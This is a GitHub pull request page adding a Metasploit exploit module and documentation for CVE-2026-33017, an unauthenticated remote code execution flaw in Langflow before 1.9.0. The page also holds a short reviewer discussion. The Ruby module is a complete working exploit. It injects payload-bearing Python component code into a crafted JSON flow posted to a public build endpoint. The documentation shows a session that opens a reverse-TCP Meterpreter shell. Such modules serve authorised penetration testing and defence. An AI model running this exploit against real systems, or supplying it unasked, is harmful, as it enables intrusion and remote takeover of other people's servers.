-
Notifications
You must be signed in to change notification settings - Fork 14.9k
ENH: CISA KEV - Exploit module for CVE-2026-33017 #21700
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
rmhowe425
wants to merge
13
commits into
rapid7:master
Choose a base branch
from
rmhowe425:dev/CVE-2026-33017
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+264
−0
Open
Changes from all commits
Commits
Show all changes
13 commits
Select commit
Hold shift + click to select a range
d9ad028
Adding exploit module
rmhowe425 aa48ab0
Moved payload insertion into r()
rmhowe425 d971c9c
Adding documentation and running msftidy and msftidy_docs
rmhowe425 4589bbc
Minor documentation changes
rmhowe425 fa5e2b5
Polishing up documentation
rmhowe425 9a2491d
Fixing both documentation and code formatting discrepancies
rmhowe425 8f290c7
Fixing string interpolation discrepancy
rmhowe425 62800cf
Randomizing values in the json blob
rmhowe425 06b1add
Updating documentation to include docker installation steps
rmhowe425 01df1fe
Updating documentation to include docker installation steps
rmhowe425 3c76bc2
Updating implementation based on reviewer feedback
rmhowe425 a4ebcb6
Updating implementation based on reviewer feedback
rmhowe425 9e36897
Updating implementation and documentation based on reviewer feedback
rmhowe425 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
64 changes: 64 additions & 0 deletions
64
documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,64 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution through the | ||
| `/api/v1/build_public_tmp/<flow_id>/flow` endpoint. An attacker can send crafted HTTP requests to execute arbitrary code. | ||
|
|
||
| The vulnerability affects: | ||
|
|
||
| * Langflow < 1.9.0. | ||
|
|
||
| This module was successfully tested on: | ||
|
|
||
| * Langflow 1.8.4 (with authentication enabled) | ||
|
|
||
|
|
||
| ## Installation | ||
|
|
||
| 1. `docker pull langflowai/langflow:1.8.4` | ||
| 2. `docker run -d --name langflow-1.8.4 -p 7860:7860 langflowai/langflow:1.8.4` | ||
|
|
||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install the application | ||
| 2. Start msfconsole | ||
| 3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017` | ||
| 4. Do: `set LHOST <lhost>` | ||
| 5. Do: `set RHOSTS <rhost>` | ||
| 6. Do: `set FLOW_ID <flow id>` | ||
| 7. Do: `exploit` | ||
|
|
||
|
|
||
| ## Options | ||
|
|
||
| ### FLOW_ID | ||
|
|
||
| The UUID of a public Langflow flow. This value can be obtained from the | ||
| Langflow web interface when viewing a flow. | ||
|
|
||
|
|
||
| ## Scenarios | ||
| ``` | ||
| msf > use exploit/multi/http/langflow_unauth_rce_cve_2026_33017 | ||
| [*] Using configured payload python/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set RHOSTS 127.0.0.1 | ||
| RHOSTS => 127.0.0.1 | ||
| msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set LHOST 127.0.0.1 | ||
| LHOST => 127.0.0.1 | ||
| msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set FLOW_ID fd1d9d9b-6174-4b31-a621-2ee0f57435e2 | ||
| FLOW_ID => fd1d9d9b-6174-4b31-a621-2ee0f57435e2 | ||
| msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit | ||
| [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
| [*] Started reverse TCP handler on 127.0.0.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. Version 1.8.4 appears vulnerable. | ||
| [*] Payload sent successfully. | ||
| [*] Sending stage (23408 bytes) to 127.0.0.1 | ||
| [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400 | ||
|
|
||
| meterpreter > | ||
| ``` | ||
|
|
||
| ## References | ||
|
|
||
| - https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896 |
200 changes: 200 additions & 0 deletions
200
modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,200 @@ | ||
| # frozen_string_literal: true | ||
|
|
||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Exploit::Remote::HttpClient | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Langflow Unauth RCE', | ||
| 'Description' => %q{ | ||
| Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the | ||
| /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted | ||
| HTTP requests to execute arbitrary code. | ||
| }, | ||
| 'Author' => [ | ||
| 'Richard Howe <rhowe425>', | ||
| 'Diamorphine' | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'References' => [ | ||
| ['CVE', '2026-33017'], | ||
| ['EDB', '52627'], | ||
| ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896'] | ||
| ], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Python payload', | ||
| { | ||
| 'Platform' => 'python', | ||
| 'Arch' => ARCH_PYTHON | ||
| } | ||
| ] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'Payload' => { | ||
| 'BadChars' => '"' | ||
| }, | ||
| 'DisclosureDate' => '2026-03-20', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | ||
| 'Reliability' => [REPEATABLE_SESSION] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
| OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]), | ||
| Opt::RPORT(7860) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| { | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'api/v1/version') | ||
| } | ||
| ) | ||
|
|
||
| return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 | ||
|
|
||
| doc = res.get_json_document | ||
| version_str = doc.is_a?(Hash) ? doc['version'] : nil | ||
| return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str | ||
|
|
||
| begin | ||
| version = Rex::Version.new(version_str) | ||
| rescue StandardError | ||
| return Exploit::CheckCode::Unknown('Failed to parse version.') | ||
| end | ||
|
|
||
| if version < Rex::Version.new('1.9.0') | ||
| Exploit::CheckCode::Appears("Version #{version} appears vulnerable.") | ||
| else | ||
| Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") | ||
| end | ||
| end | ||
|
|
||
| def exploit | ||
| flow_id = datastore['FLOW_ID'] | ||
| fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id | ||
|
|
||
| # Randomize component identifiers | ||
| node_id = Rex::Text.rand_text_alpha(8) | ||
| component_display_name = Rex::Text.rand_text_alpha(5) | ||
| component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}" | ||
|
|
||
| output_display_name = Rex::Text.rand_text_alpha(5) | ||
| output_name = Rex::Text.rand_text_alpha(5).downcase | ||
| output_method = Rex::Text.rand_text_alpha(5).downcase | ||
|
|
||
| # The payload is executed within the output method so it runs when the | ||
| # component vertex is invoked; the class definition allows Langflow to | ||
| # resolve the component vertex. | ||
| injected_code = "from lfx.custom.custom_component.component import Component\n" \ | ||
| "from lfx.io import Output\n" \ | ||
| "from lfx.schema.data import Data\n" \ | ||
| "\n" \ | ||
| "class #{component_name}(Component):\n" \ | ||
| " display_name='#{component_display_name}'\n" \ | ||
| " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ | ||
| " def #{output_method}(self)->Data:\n" \ | ||
| " #{payload.encode.gsub("\n", "\n ")}\n" \ | ||
| " return Data(data={})\n" | ||
|
|
||
| data = { | ||
| 'data' => { | ||
| 'nodes' => [ | ||
| { | ||
| 'id' => node_id, | ||
| 'type' => 'genericNode', | ||
| 'position' => { | ||
| 'x' => 0, | ||
| 'y' => 0 | ||
| }, | ||
| 'data' => { | ||
| 'id' => node_id, | ||
| 'type' => component_name, | ||
| 'node' => { | ||
| 'template' => { | ||
| 'code' => { | ||
| 'type' => 'code', | ||
| 'required' => true, | ||
| 'show' => true, | ||
| 'multiline' => true, | ||
| 'value' => injected_code, | ||
| 'name' => 'code', | ||
| 'password' => false, | ||
| 'advanced' => false, | ||
| 'dynamic' => false | ||
| }, | ||
| '_type' => 'Component' | ||
| }, | ||
| 'description' => component_display_name, | ||
| 'base_classes' => ['Data'], | ||
| 'display_name' => component_name, | ||
| 'name' => component_name, | ||
| 'frozen' => false, | ||
| 'outputs' => [ | ||
| { | ||
| 'types' => ['Data'], | ||
| 'selected' => 'Data', | ||
| 'name' => output_name, | ||
| 'display_name' => output_display_name, | ||
| 'method' => output_method, | ||
| 'value' => '__UNDEFINED__', | ||
| 'cache' => true, | ||
| 'allows_loop' => false, | ||
| 'tool_mode' => false, | ||
| 'hidden' => nil, | ||
| 'required_inputs' => nil, | ||
| 'group_outputs' => false | ||
| } | ||
| ], | ||
| 'field_order' => ['code'], | ||
| 'beta' => false, | ||
| 'edited' => false | ||
| } | ||
| } | ||
| } | ||
| ], | ||
| 'edges' => [] | ||
| }, | ||
| 'inputs' => nil | ||
| } | ||
|
msutovsky-r7 marked this conversation as resolved.
|
||
|
|
||
| res = send_request_cgi( | ||
| { | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), | ||
| 'headers' => { | ||
| 'Content-Type' => 'application/json' | ||
| }, | ||
| 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", | ||
| 'data' => data.to_json | ||
| } | ||
| ) | ||
|
|
||
| fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res | ||
|
|
||
| unless res.code.between?(200, 299) | ||
| fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).") | ||
| end | ||
|
|
||
| print_status('Payload sent successfully.') | ||
| end | ||
| end | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If there's an issue with
\n, would it work to add it to badchars?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hmmm I don't think so. Reason being: The payload is injected directly as Python source code rather than being placed inside a string literal. Multi-line payloads are supported intentionally, and the gsub("\n", "\n ") keeps the indentation correct so the generated method stays valid Python. Adding \n to BadChars would prevent otherwise valid payloads from working.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@msutovsky-r7 Are you okay with this line of thought? Would you consider this resolved?